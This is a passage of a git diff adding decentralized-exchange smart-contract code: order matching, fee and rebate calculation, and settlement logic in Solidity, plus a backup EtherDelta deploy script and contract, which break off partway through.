+                makerOrderInfo,
+                baseTokenFilledAmounts[i],
+                takerFeeRate,
+                isParticipantRelayer
+            );
+
+            // Update amount filled for this maker order.
+            filled[makerOrderInfo.orderHash] = makerOrderInfo.filledAmount;
+        }
+
+        // Update amount filled for this taker order.
+        filled[takerOrderInfo.orderHash] = takerOrderInfo.filledAmount;
+
+        settleResults(results, takerOrderParam, orderAddressSet);
+    }
+
+    /**
+     * Cancels an order, preventing it from being matched. In practice, matching mode relayers will
+     * generally handle cancellation off chain by removing the order from their system, however if
+     * the trader wants to ensure the order never goes through, or they no longer trust the relayer,
+     * this function may be called to block it from ever matching at the contract level.
+     *
+     * Emits a Cancel event on success.
+     *
+     * @param order The order to be cancelled.
+     */
+    function cancelOrder(Order memory order) public {
+        require(order.trader == msg.sender, INVALID_TRADER);
+
+        bytes32 orderHash = getOrderHash(order);
+        cancelled[orderHash] = true;
+
+        emit Cancel(orderHash);
+    }
+
+    /**
+     * Calculates current state of the order. Will revert transaction if this order is not
+     * fillable for any reason, or if the order signature is invalid.
+     *
+     * @param orderParam The OrderParam object containing Order data.
+     * @param orderAddressSet An object containing addresses common across each order.
+     * @return An OrderInfo object containing the hash and current amount filled
+     */
+    function getOrderInfo(OrderParam memory orderParam, OrderAddressSet memory orderAddressSet)
+    internal
+    view
+    returns (OrderInfo memory orderInfo)
+    {
+        require(getOrderVersion(orderParam.data) == SUPPORTED_ORDER_VERSION, ORDER_VERSION_NOT_SUPPORTED);
+
+        Order memory order = getOrderFromOrderParam(orderParam, orderAddressSet);
+        orderInfo.orderHash = getOrderHash(order);
+        orderInfo.filledAmount = filled[orderInfo.orderHash];
+        uint8 status = uint8(OrderStatus.FILLABLE);
+
+        if (!isMarketBuy(order.data) && orderInfo.filledAmount >= order.baseTokenAmount) {
+            status = uint8(OrderStatus.FULLY_FILLED);
+        } else if (isMarketBuy(order.data) && orderInfo.filledAmount >= order.quoteTokenAmount) {
+            status = uint8(OrderStatus.FULLY_FILLED);
+        } else if (block.timestamp >= getExpiredAtFromOrderData(order.data)) {
+            status = uint8(OrderStatus.EXPIRED);
+        } else if (cancelled[orderInfo.orderHash]) {
+            status = uint8(OrderStatus.CANCELLED);
+        }
+
+        require(status == uint8(OrderStatus.FILLABLE), ORDER_IS_NOT_FILLABLE);
+        require(
+            isValidSignature(orderInfo.orderHash, orderParam.trader, orderParam.signature),
+            INVALID_ORDER_SIGNATURE
+        );
+
+        return orderInfo;
+    }
+
+    /**
+     * Reconstruct an Order object from the given OrderParam and OrderAddressSet objects.
+     *
+     * @param orderParam The OrderParam object containing the Order data.
+     * @param orderAddressSet An object containing addresses common across each order.
+     * @return The reconstructed Order object.
+     */
+    function getOrderFromOrderParam(OrderParam memory orderParam, OrderAddressSet memory orderAddressSet)
+    internal
+    pure
+    returns (Order memory order)
+    {
+        order.trader = orderParam.trader;
+        order.baseTokenAmount = orderParam.baseTokenAmount;
+        order.quoteTokenAmount = orderParam.quoteTokenAmount;
+        order.gasTokenAmount = orderParam.gasTokenAmount;
+        order.data = orderParam.data;
+        order.baseToken = orderAddressSet.baseToken;
+        order.quoteToken = orderAddressSet.quoteToken;
+        order.relayer = orderAddressSet.relayer;
+    }
+
+    /**
+     * Validates that the maker and taker orders can be matched based on the listed prices.
+     *
+     * If the taker submitted a sell order, the matching maker order must have a price greater than
+     * or equal to the price the taker is willing to sell for.
+     *
+     * Since the price of an order is computed by order.quoteTokenAmount / order.baseTokenAmount
+     * we can establish the following formula:
+     *
+     *    takerOrder.quoteTokenAmount        makerOrder.quoteTokenAmount
+     *   -----------------------------  <=  -----------------------------
+     *     takerOrder.baseTokenAmount        makerOrder.baseTokenAmount
+     *
+     * To avoid precision loss from division, we modify the formula to avoid division entirely.
+     * In shorthand, this becomes:
+     *
+     *   takerOrder.quote * makerOrder.base <= takerOrder.base * makerOrder.quote
+     *
+     * We can apply this same process to buy orders - if the taker submitted a buy order then
+     * the matching maker order must have a price less than or equal to the price the taker is
+     * willing to pay. This means we can use the same result as above, but simply flip the
+     * sign of the comparison operator.
+     *
+     * The function will revert the transaction if the orders cannot be matched.
+     *
+     * @param takerOrderParam The OrderParam object representing the taker's order data
+     * @param makerOrderParam The OrderParam object representing the maker's order data
+     */
+    function validatePrice(OrderParam memory takerOrderParam, OrderParam memory makerOrderParam)
+    internal
+    pure
+    {
+        uint256 left = takerOrderParam.quoteTokenAmount.mul(makerOrderParam.baseTokenAmount);
+        uint256 right = takerOrderParam.baseTokenAmount.mul(makerOrderParam.quoteTokenAmount);
+        require(isSell(takerOrderParam.data) ? left <= right : left >= right, INVALID_MATCH);
+    }
+
+    /**
+     * Construct a MatchResult from matching taker and maker order data, which will be used when
+     * settling the orders and transferring token.
+     *
+     * @param takerOrderParam The OrderParam object representing the taker's order data
+     * @param takerOrderInfo The OrderInfo object representing the current taker order state
+     * @param makerOrderParam The OrderParam object representing the maker's order data
+     * @param makerOrderInfo The OrderInfo object representing the current maker order state
+     * @param takerFeeRate The rate used to calculate the fee charged to the taker
+     * @param isParticipantRelayer Whether this relayer is participating in hot discount
+     * @return MatchResult object containing data that will be used during order settlement.
+     */
+    function getMatchResult(
+        OrderParam memory takerOrderParam,
+        OrderInfo memory takerOrderInfo,
+        OrderParam memory makerOrderParam,
+        OrderInfo memory makerOrderInfo,
+        uint256 baseTokenFilledAmount,
+        uint256 takerFeeRate,
+        bool isParticipantRelayer
+    )
+    internal
+    view
+    returns (MatchResult memory result)
+    {
+        result.baseTokenFilledAmount = baseTokenFilledAmount;
+        result.quoteTokenFilledAmount = convertBaseToQuote(makerOrderParam, baseTokenFilledAmount);
+
+        // Each order only pays gas once, so only pay gas when nothing has been filled yet.
+        if (takerOrderInfo.filledAmount == 0) {
+            result.takerGasFee = takerOrderParam.gasTokenAmount;
+        }
+
+        if (makerOrderInfo.filledAmount == 0) {
+            result.makerGasFee = makerOrderParam.gasTokenAmount;
+        }
+
+        if(!isMarketBuy(takerOrderParam.data)) {
+            takerOrderInfo.filledAmount = takerOrderInfo.filledAmount.add(result.baseTokenFilledAmount);
+            require(takerOrderInfo.filledAmount <= takerOrderParam.baseTokenAmount, TAKER_ORDER_OVER_MATCH);
+        } else {
+            takerOrderInfo.filledAmount = takerOrderInfo.filledAmount.add(result.quoteTokenFilledAmount);
+            require(takerOrderInfo.filledAmount <= takerOrderParam.quoteTokenAmount, TAKER_ORDER_OVER_MATCH);
+        }
+
+        makerOrderInfo.filledAmount = makerOrderInfo.filledAmount.add(result.baseTokenFilledAmount);
+        require(makerOrderInfo.filledAmount <= makerOrderParam.baseTokenAmount, MAKER_ORDER_OVER_MATCH);
+
+        result.maker = makerOrderParam.trader;
+        result.taker = takerOrderParam.trader;
+
+        if(isSell(takerOrderParam.data)) {
+            result.buyer = result.maker;
+        } else {
+            result.buyer = result.taker;
+        }
+
+        uint256 rebateRate = getMakerRebateRateFromOrderData(makerOrderParam.data);
+
+        if (rebateRate > 0) {
+            // If the rebate rate is not zero, maker pays no fees.
+            result.makerFee = 0;
+
+            // RebateRate will never exceed REBATE_RATE_BASE, so rebateFee will never exceed the fees paid by the taker.
+            result.makerRebate = result.quoteTokenFilledAmount.mul(takerFeeRate).mul(rebateRate).div(
+                FEE_RATE_BASE.mul(DISCOUNT_RATE_BASE).mul(REBATE_RATE_BASE)
+            );
+        } else {
+            uint256 makerRawFeeRate = getAsMakerFeeRateFromOrderData(makerOrderParam.data);
+            result.makerRebate = 0;
+
+            // maker fee will be reduced, but still >= 0
+            uint256 makerFeeRate = getFinalFeeRate(
+                makerOrderParam.trader,
+                makerRawFeeRate,
+                isParticipantRelayer
+            );
+
+            result.makerFee = result.quoteTokenFilledAmount.mul(makerFeeRate).div(
+                FEE_RATE_BASE.mul(DISCOUNT_RATE_BASE)
+            );
+        }
+
+        result.takerFee = result.quoteTokenFilledAmount.mul(takerFeeRate).div(
+            FEE_RATE_BASE.mul(DISCOUNT_RATE_BASE)
+        );
+    }
+
+    /**
+     * Get the rate used to calculate the taker fee.
+     *
+     * @param orderParam The OrderParam object representing the taker order data.
+     * @param isParticipantRelayer Whether this relayer is participating in hot discount.
+     * @return The final potentially discounted rate to use for the taker fee.
+     */
+    function getTakerFeeRate(OrderParam memory orderParam, bool isParticipantRelayer)
+    internal
+    view
+    returns(uint256)
+    {
+        uint256 rawRate = getAsTakerFeeRateFromOrderData(orderParam.data);
+        return getFinalFeeRate(orderParam.trader, rawRate, isParticipantRelayer);
+    }
+
+    /**
+     * Take a fee rate and calculate the potentially discounted rate for this trader based on
+     * HOT token ownership.
+     *
+     * @param trader The address of the trader who made the order.
+     * @param rate The raw rate which we will discount if needed.
+     * @param isParticipantRelayer Whether this relayer is participating in hot discount.
+     * @return The final potentially discounted rate.
+     */
+    function getFinalFeeRate(address trader, uint256 rate, bool isParticipantRelayer)
+    internal
+    view
+    returns(uint256)
+    {
+        if (isParticipantRelayer) {
+            return rate.mul(getDiscountedRate(trader));
+        } else {
+            return rate.mul(DISCOUNT_RATE_BASE);
+        }
+    }
+
+    /**
+     * Take an amount and convert it from base token units to quote token units based on the price
+     * in the order param.
+     *
+     * @param orderParam The OrderParam object containing the Order data.
+     * @param amount An amount of base token.
+     * @return The converted amount in quote token units.
+     */
+    function convertBaseToQuote(OrderParam memory orderParam, uint256 amount)
+    internal
+    pure
+    returns (uint256)
+    {
+        return getPartialAmountFloor(
+            orderParam.quoteTokenAmount,
+            orderParam.baseTokenAmount,
+            amount
+        );
+    }
+
+    /**
+     * Take an amount and convert it from quote token units to base token units based on the price
+     * in the order param.
+     *
+     * @param orderParam The OrderParam object containing the Order data.
+     * @param amount An amount of quote token.
+     * @return The converted amount in base token units.
+     */
+    function convertQuoteToBase(OrderParam memory orderParam, uint256 amount)
+    internal
+    pure
+    returns (uint256)
+    {
+        return getPartialAmountFloor(
+            orderParam.baseTokenAmount,
+            orderParam.quoteTokenAmount,
+            amount
+        );
+    }
+
+    /**
+     * Take a list of matches and settle them with the taker order, transferring tokens all tokens
+     * and paying all fees necessary to complete the transaction.
+     *
+     * @param results List of MatchResult objects representing each individual trade to settle.
+     * @param takerOrderParam The OrderParam object representing the taker order data.
+     * @param orderAddressSet An object containing addresses common across each order.
+     */
+    function settleResults(
+        MatchResult[] memory results,
+        OrderParam memory takerOrderParam,
+        OrderAddressSet memory orderAddressSet
+    )
+    internal
+    {
+        if (isSell(takerOrderParam.data)) {
+            settleTakerSell(results, orderAddressSet);
+        } else {
+            settleTakerBuy(results, orderAddressSet);
+        }
+    }
+
+    /**
+     * Settles a sell order given a list of MatchResult objects. A naive approach would be to take
+     * each result, have the taker and maker transfer the appropriate tokens, and then have them
+     * each send the appropriate fees to the relayer, meaning that for n makers there would be 4n
+     * transactions. Additionally the taker would have to have an allowance set for the quote token
+     * in order to pay the fees to the relayer.
+     *
+     * Instead we do the following:
+     *  - Taker transfers the required base token to each maker
+     *  - Each maker sends an amount of quote token to the relayer equal to:
+     *    [Amount owed to taker] + [Maker fee] + [Maker gas cost] - [Maker rebate amount]
+     *  - The relayer will then take all of this quote token and in a single batch transaction
+     *    send the appropriate amount to the taker, equal to:
+     *    [Total amount owed to taker] - [All taker fees] - [All taker gas costs]
+     *
+     * Thus in the end the taker will have the full amount of quote token, sans the fee and cost of
+     * their share of gas. Each maker will have their share of base token, sans the fee and cost of
+     * their share of gas, and will keep their rebate in quote token. The relayer will end up with
+     * the fees from the taker and each maker (sans rebate), and the gas costs will pay for the
+     * transactions. In this scenario, with n makers there will be 2n + 1 transactions, which will
+     * be a significant gas savings over the original method.
+     *
+     * @param results A list of MatchResult objects representing each individual trade to settle.
+     * @param orderAddressSet An object containing addresses common across each order.
+     */
+    function settleTakerSell(MatchResult[] memory results, OrderAddressSet memory orderAddressSet) internal {
+        uint256 totalTakerQuoteTokenFilledAmount = 0;
+
+        for (uint256 i = 0; i < results.length; i++) {
+            transferFrom(
+                orderAddressSet.baseToken,
+                results[i].taker,
+                results[i].maker,
+                results[i].baseTokenFilledAmount
+            );
+
+            transferFrom(
+                orderAddressSet.quoteToken,
+                results[i].maker,
+                orderAddressSet.relayer,
+                results[i].quoteTokenFilledAmount.
+                add(results[i].makerFee).
+                add(results[i].makerGasFee).
+                sub(results[i].makerRebate)
+            );
+
+            totalTakerQuoteTokenFilledAmount = totalTakerQuoteTokenFilledAmount.add(
+                results[i].quoteTokenFilledAmount.sub(results[i].takerFee)
+            );
+
+            emitMatchEvent(results[i], orderAddressSet);
+        }
+
+        transferFrom(
+            orderAddressSet.quoteToken,
+            orderAddressSet.relayer,
+            results[0].taker,
+            totalTakerQuoteTokenFilledAmount.sub(results[0].takerGasFee)
+        );
+    }
+
+    /**
+     * Settles a buy order given a list of MatchResult objects. A naive approach would be to take
+     * each result, have the taker and maker transfer the appropriate tokens, and then have them
+     * each send the appropriate fees to the relayer, meaning that for n makers there would be 4n
+     * transactions. Additionally each maker would have to have an allowance set for the quote token
+     * in order to pay the fees to the relayer.
+     *
+     * Instead we do the following:
+     *  - Each maker transfers base tokens to the taker
+     *  - The taker sends an amount of quote tokens to each maker equal to:
+     *    [Amount owed to maker] + [Maker rebate amount] - [Maker fee] - [Maker gas cost]
+     *  - Since the taker saved all the maker fees and gas costs, it can then send them as a single
+     *    batch transaction to the relayer, equal to:
+     *    [All maker and taker fees] + [All maker and taker gas costs] - [All maker rebates]
+     *
+     * Thus in the end the taker will have the full amount of base token, sans the fee and cost of
+     * their share of gas. Each maker will have their share of quote token, including their rebate,
+     * but sans the fee and cost of their share of gas. The relayer will end up with the fees from
+     * the taker and each maker (sans rebates), and the gas costs will pay for the transactions. In
+     * this scenario, with n makers there will be 2n + 1 transactions, which will be a significant
+     * gas savings over the original method.
+     *
+     * @param results A list of MatchResult objects representing each individual trade to settle.
+     * @param orderAddressSet An object containing addresses common across each order.
+     */
+    function settleTakerBuy(MatchResult[] memory results, OrderAddressSet memory orderAddressSet) internal {
+        uint256 totalFee = 0;
+
+        for (uint256 i = 0; i < results.length; i++) {
+            transferFrom(
+                orderAddressSet.baseToken,
+                results[i].maker,
+                results[i].taker,
+                results[i].baseTokenFilledAmount
+            );
+
+            transferFrom(
+                orderAddressSet.quoteToken,
+                results[i].taker,
+                results[i].maker,
+                results[i].quoteTokenFilledAmount.
+                sub(results[i].makerFee).
+                sub(results[i].makerGasFee).
+                add(results[i].makerRebate)
+            );
+
+            totalFee = totalFee.
+            add(results[i].takerFee).
+            add(results[i].makerFee).
+            add(results[i].makerGasFee).
+            add(results[i].takerGasFee).
+            sub(results[i].makerRebate);
+
+            emitMatchEvent(results[i], orderAddressSet);
+        }
+
+        transferFrom(
+            orderAddressSet.quoteToken,
+            results[0].taker,
+            orderAddressSet.relayer,
+            totalFee
+        );
+    }
+
+    /**
+     * A helper function to call the transferFrom function in Proxy.sol with solidity assembly.
+     * Copying the data in order to make an external call can be expensive, but performing the
+     * operations in assembly seems to reduce gas cost.
+     *
+     * The function will revert the transaction if the transfer fails.
+     *
+     * @param token The address of the ERC20 token we will be transferring, 0 for ETH.
+     * @param from The address we will be transferring from.
+     * @param to The address we will be transferring to.
+     * @param value The amount of token we will be transferring.
+     */
+    function transferFrom(address token, address from, address to, uint256 value) internal {
+        if (value == 0) {
+            return;
+        }
+
+        address proxy = proxyAddress;
+        uint256 result;
+
+        /**
+         * We construct calldata for the `Proxy.transferFrom` ABI.
+         * The layout of this calldata is in the table below.
+         *
+         * ╔════════╤════════╤════════╤═══════════════════╗
+         * ║ Area   │ Offset │ Length │ Contents          ║
+         * ╟────────┼────────┼────────┼───────────────────╢
+         * ║ Header │ 0      │ 4      │ function selector ║
+         * ║ Params │ 4      │ 32     │ token address     ║
+         * ║        │ 36     │ 32     │ from address      ║
+         * ║        │ 68     │ 32     │ to address        ║
+         * ║        │ 100    │ 32     │ amount of token   ║
+         * ╚════════╧════════╧════════╧═══════════════════╝
+         */
+        assembly {
+        // Keep these so we can restore stack memory upon completion
+            let tmp1 := mload(0)
+            let tmp2 := mload(4)
+            let tmp3 := mload(36)
+            let tmp4 := mload(68)
+            let tmp5 := mload(100)
+
+        // keccak256('transferFrom(address,address,address,uint256)') bitmasked to 4 bytes
+            mstore(0, 0x15dacbea00000000000000000000000000000000000000000000000000000000)
+            mstore(4, token)
+            mstore(36, from)
+            mstore(68, to)
+            mstore(100, value)
+
+        // Call Proxy contract transferFrom function using constructed calldata
+            result := call(
+            gas,   // Forward all gas
+            proxy, // Proxy.sol deployment address
+            0,     // Don't send any ETH
+            0,     // Pointer to start of calldata
+            132,   // Length of calldata
+            0,     // Output location
+            0      // We don't expect any output
+            )
+
+        // Restore stack memory
+            mstore(0, tmp1)
+            mstore(4, tmp2)
+            mstore(36, tmp3)
+            mstore(68, tmp4)
+            mstore(100, tmp5)
+        }
+
+        if (result == 0) {
+            revert(TRANSFER_FROM_FAILED);
+        }
+    }
+
+    function emitMatchEvent(MatchResult memory result, OrderAddressSet memory orderAddressSet) internal {
+        emit Match(
+            orderAddressSet, result
+        );
+    }
+}
\ No newline at end of file
diff --git a/basic/13-decentralized-exchange/backup/etherdelta/deploy.old.js b/basic/13-decentralized-exchange/backup/etherdelta/deploy.old.js
new file mode 100644
index 000000000..d9ef0e9d4
--- /dev/null
+++ b/basic/13-decentralized-exchange/backup/etherdelta/deploy.old.js
@@ -0,0 +1,95 @@
+const Web3 = require('web3');
+const solc = require('solc');
+const fs = require('fs');
+const ethabi = require('ethereumjs-abi');
+const commandLineArgs = require('command-line-args');
+const async = require('async');
+
+const cli = [
+  { name: 'help', alias: 'h', type: Boolean },
+  { name: 'address', type: String },
+  { name: 'admin', type: String },
+  { name: 'feeAccount', type: String },
+  { name: 'accountLevelsAddr', type: String },
+  { name: 'sendImmediately', type: Boolean, defaultValue: false },
+];
+const cliOptions = commandLineArgs(cli);
+
+function deploy(web3, compiledContract, args, gas, address, sendImmediately) {
+  const abi = JSON.parse(compiledContract.interface);
+  const bytecode = compiledContract.bytecode;
+
+  if (args.length > 0) {
+    const constructTypes = abi
+      .filter(x => x.type === 'constructor')[0]
+      .inputs.map(x => x.type);
+    const abiEncoded = ethabi.rawEncode(constructTypes, args);
+    console.log(`ABI encoded constructor arguments: ${abiEncoded.toString('hex')}`);
+  }
+
+  const contract = web3.eth.contract(abi);
+  const data = `0x${contract.new.getData.apply(null, args.concat({ data: bytecode }))}`;
+  if (gas && address && sendImmediately) {
+    web3.eth.sendTransaction({ from: address, gas, data }, (err, txHash) => {
+      if (err) {
+        console.log(err);
+      } else {
+        let contractAddress;
+        async.whilst(
+          () => !contractAddress,
+          (callback) => {
+            web3.eth.getTransactionReceipt(txHash, (errReceipt, result) => {
+              if (result && result.contractAddress) contractAddress = result.contractAddress;
+              setTimeout(() => {
+                callback(null);
+              }, 10 * 1000);
+            });
+          },
+          (errWhilst) => {
+            if (!errWhilst) {
+              console.log(contractAddress);
+            } else {
+              console.log(err);
+            }
+          },
+        );
+      }
+    });
+  } else {
+    console.log('Contract data:', data);
+  }
+}
+
+if (cliOptions.help) {
+  console.log(cli);
+} else if (
+  cliOptions.address && cliOptions.admin && cliOptions.feeAccount && cliOptions.accountLevelsAddr
+) {
+  const web3 = new Web3();
+  web3.setProvider(new web3.providers.HttpProvider('http://localhost:8545'));
+
+  // Config
+  const solidityFile = './smart_contract/etherdelta.sol';
+  const contractName = 'EtherDelta';
+  const solcVersion = 'v0.4.9+commit.364da425';
+  const address = cliOptions.address;
+  const admin = cliOptions.admin;
+  const feeAccount = cliOptions.feeAccount;
+  const accountLevelsAddr = cliOptions.accountLevelsAddr;
+  const feeMake = 0;
+  const feeTake = 3000000000000000;
+  const feeRebate = 0;
+  const gas = 2000000;
+  const args = [admin, feeAccount, accountLevelsAddr, feeMake, feeTake, feeRebate];
+
+  solc.loadRemoteVersion(solcVersion, (err, solcV) => {
+    console.log('Solc version:', solcV.version());
+    fs.readFile(solidityFile, (errRead, result) => {
+      const source = result.toString();
+      const output = solcV.compile(source, 1); // 1 activates the optimiser
+      if (output.errors) console.log(output.errors);
+      const sendImmediately = cliOptions.sendImmediately;
+      deploy(web3, output.contracts[`:${contractName}`], args, gas, address, sendImmediately);
+    });
+  });
+}
diff --git a/basic/13-decentralized-exchange/backup/etherdelta/etherdelta.old.sol b/basic/13-decentralized-exchange/backup/etherdelta/etherdelta.old.sol
new file mode 100644
index 000000000..a1551b74b
--- /dev/null
+++ b/basic/13-decentralized-exchange/backup/etherdelta/etherdelta.old.sol
@@ -0,0 +1,312 @@
+pragma solidity ^0.4.9;
+
+contract SafeMath {
+  function safeMul(uint a, uint b) internal returns (uint) {
+    uint c = a * b;
+    assert(a == 0 || c / a == b);
+    return c;
+  }
+
+  function safeSub(uint a, uint b) internal returns (uint) {
+    assert(b <= a);
+    return a - b;
+  }
+
+  function safeAdd(uint a, uint b) internal returns (uint) {
+    uint c = a + b;
+    assert(c>=a && c>=b);
+    return c;
+  }
+
+  function assert(bool assertion) internal {
+    if (!assertion) throw;
+  }
+}
+
+contract Token {
+  /// @return total amount of tokens
+  function totalSupply() constant returns (uint256 supply) {}
+
+  /// @param _owner The address from which the balance will be retrieved
+  /// @return The balance
+  function balanceOf(address _owner) constant returns (uint256 balance) {}
+
+  /// @notice send `_value` token to `_to` from `msg.sender`
+  /// @param _to The address of the recipient
+  /// @param _value The amount of token to be transferred
+  /// @return Whether the transfer was successful or not
+  function transfer(address _to, uint256 _value) returns (bool success) {}
+
+  /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
+  /// @param _from The address of the sender
+  /// @param _to The address of the recipient
+  /// @param _value The amount of token to be transferred
+  /// @return Whether the transfer was successful or not
+  function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
+
+  /// @notice `msg.sender` approves `_addr` to spend `_value` tokens
+  /// @param _spender The address of the account able to transfer the tokens
+  /// @param _value The amount of wei to be approved for transfer
+  /// @return Whether the approval was successful or not
+  function approve(address _spender, uint256 _value) returns (bool success) {}
+
+  /// @param _owner The address of the account owning tokens
+  /// @param _spender The address of the account able to transfer the tokens
+  /// @return Amount of remaining tokens allowed to spent
+  function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
+
+  event Transfer(address indexed _from, address indexed _to, uint256 _value);
+  event Approval(address indexed _owner, address indexed _spender, uint256 _value);
+
+  uint public decimals;
+  string public name;
+}
+
+contract StandardToken is Token {
+
+  function transfer(address _to, uint256 _value) returns (bool success) {
+    //Default assumes totalSupply can't be over max (2^256 - 1).
+    //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
+    //Replace the if with this one instead.
+    if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
+    //if (balances[msg.sender] >= _value && _value > 0) {
+      balances[msg.sender] -= _value;
+      balances[_to] += _value;
+      Transfer(msg.sender, _to, _value);
+      return true;
+    } else { return false; }
+  }
+
+  function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
+    //same as above. Replace this line with the following if you want to protect against wrapping uints.
+    if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
+    //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
+      balances[_to] += _value;
+      balances[_from] -= _value;
+      allowed[_from][msg.sender] -= _value;
+      Transfer(_from, _to, _value);
+      return true;
+    } else { return false; }
+  }
+
+  function balanceOf(address _owner) constant returns (uint256 balance) {
+    return balances[_owner];
+  }
+
+  function approve(address _spender, uint256 _value) returns (bool success) {
+    allowed[msg.sender][_spender] = _value;
+    Approval(msg.sender, _spender, _value);
+    return true;
+  }
+
+  function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
+    return allowed[_owner][_spender];
+  }
+
+  mapping(address => uint256) balances;
+
+  mapping (address => mapping (address => uint256)) allowed;
+
+  uint256 public totalSupply;
+}
+
+contract ReserveToken is StandardToken, SafeMath {
+  address public minter;
+  function ReserveToken() {
+    minter = msg.sender;
+  }
+  function create(address account, uint amount) {
+    if (msg.sender != minter) throw;
+    balances[account] = safeAdd(balances[account], amount);
+    totalSupply = safeAdd(totalSupply, amount);
+  }
+  function destroy(address account, uint amount) {
+    if (msg.sender != minter) throw;
+    if (balances[account] < amount) throw;
+    balances[account] = safeSub(balances[account], amount);
+    totalSupply = safeSub(totalSupply, amount);
+  }
+}
+
+contract AccountLevels {
+  //given a user, returns an account level
+  //0 = regular user (pays take fee and make fee)
+  //1 = market maker silver (pays take fee, no make fee, gets rebate)
+  //2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
+  function accountLevel(address user) constant returns(uint) {}
+}
+
+contract AccountLevelsTest is AccountLevels {
+  mapping (address => uint) public accountLevels;
+
+  function setAccountLevel(address user, uint level) {
+    accountLevels[user] = level;
+  }
+
+  function accountLevel(address user) constant returns(uint) {
+    return accountLevels[user];
+  }
+}
+
+contract EtherDelta is SafeMath {
+  address public admin; //the admin address
+  address public feeAccount; //the account that will receive fees
+  address public accountLevelsAddr; //the address of the AccountLevels contract
+  uint public feeMake; //percentage times (1 ether)
+  uint public feeTake; //percentage times (1 ether)
+  uint public feeRebate; //percentage times (1 ether)
+  mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
+  mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
+  mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
+
+  event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
+  event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
+  event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
+  event Deposit(address token, address user, uint amount, uint balance);
+  event Withdraw(address token, address user, uint amount, uint balance);
+
+  function EtherDelta(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) {
+    admin = admin_;
+    feeAccount = feeAccount_;
+    accountLevelsAddr = accountLevelsAddr_;
+    feeMake = feeMake_;
+    feeTake = feeTake_;
+    feeRebate = feeRebate_;
+  }
+
+  function() {
+    throw;
+  }
+
+  function changeAdmin(address admin_) {
+    if (msg.sender != admin) throw;
+    admin = admin_;
+  }
+
+  function changeAccountLevelsAddr(address accountLevelsAddr_) {
+    if (msg.sender != admin) throw;
+    accountLevelsAddr = accountLevelsAddr_;
+  }
+
+  function changeFeeAccount(address feeAccount_) {
+    if (msg.sender != admin) throw;
+    feeAccount = feeAccount_;
+  }
+
+  function changeFeeMake(uint feeMake_) {
+    if (msg.sender != admin) throw;
+    if (feeMake_ > feeMake) throw;
+    feeMake = feeMake_;
+  }
+
+  function changeFeeTake(uint feeTake_) {
+    if (msg.sender != admin) throw;
+    if (feeTake_ > feeTake || feeTake_ < feeRebate) throw;
+    feeTake = feeTake_;
+  }
+
+  function changeFeeRebate(uint feeRebate_) {
+    if (msg.sender != admin) throw;
+    if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw;
+    feeRebate = feeRebate_;
+  }
+
+  function deposit() payable {
+    tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
+    Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
+  }
+
+  function withdraw(uint amount) {
+    if (tokens[0][msg.sender] < amount) throw;
+    tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
+    if (!msg.sender.call.value(amount)()) throw;
+    Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
+  }
+
+  function depositToken(address token, uint amount) {
+    //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
+    if (token==0) throw;
+    if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
+    tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
+    Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
+  }
+
+  function withdrawToken(address token, uint amount) {
+    if (token==0) throw;
+    if (tokens[token][msg.sender] < amount) throw;
+    tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
+    if (!Token(token).transfer(msg.sender, amount)) throw;
+    Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
+  }
+
+  function balanceOf(address token, address user) constant returns (uint) {
+    return tokens[token][user];
+  }
+
+  function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
+    bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
+    orders[msg.sender][hash] = true;
+    Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
+  }
+
+  function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
+    //amount is in amountGet terms
+    bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
+    if (!(
+      (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
+      block.number <= expires &&
+      safeAdd(orderFills[user][hash], amount) <= amountGet
+    )) throw;
+    tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
+    orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
+    Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
+  }
+
+  function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
+    uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
+    uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
+    uint feeRebateXfer = 0;
+    if (accountLevelsAddr != 0x0) {
